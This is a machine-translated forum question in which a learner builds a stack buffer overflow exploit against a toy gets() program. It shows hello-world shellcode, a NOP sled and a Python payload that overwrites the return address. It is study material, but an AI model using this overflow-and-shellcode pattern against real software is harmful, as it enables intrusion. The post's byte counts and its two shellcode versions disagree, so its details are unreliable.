2
我正在寻找一些帮助环绕下我的头:缓冲区溢出援助
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{char buffer[70];
gets(buffer);}
我知道这很容易受到缓冲区溢出。它需要92个“A”,然后接下来的4个字符覆盖eip。我有一个我发现的简单打印'hello world'的shellcode,这就是我真正需要的。
"\xe9\x1e\x00\x00\x00"
"\xb8\x04\x00\x00\x00"
"\xbb\x01\x00\x00\x00"
"\x59"
"\xba\x0f\x00\x00\x00"
"\xcd\x80"
"\xb8\x01\x00\x00\x00"
"\xbb\x00\x00\x00\x00"
"\xcd\x80"
"\xe8\xdd\xff\xff\xff"
"\x48\x65\x6c\x6c\x6f\x2c\x20\x57"
"\x6f\x72\x6c\x64\x21\x0d\x0a"
因此,我留下了37个字节的NOP雪橇和任何填充。
(32 NOP + 55 +壳5 “A” S + 4指针)= 96
我有越来越的地址指针的问题。我似乎无法围绕这部分如何解决问题。
如果我对我的任何想法都有误,请让我知道,任何帮助将不胜感激。
这里是Python我有它至今:
shell="\xe9\x1e\x00\x00\x00\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x59\xba\x0f\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x54\x69\x67\x65\x72\x21\x0d\x0a"
nop = "\x90"*32
padding = "A"*(92 - 32 - 55)
pointer = '\x48\xea\x90\xbf'
print nop + shell + padding + pointer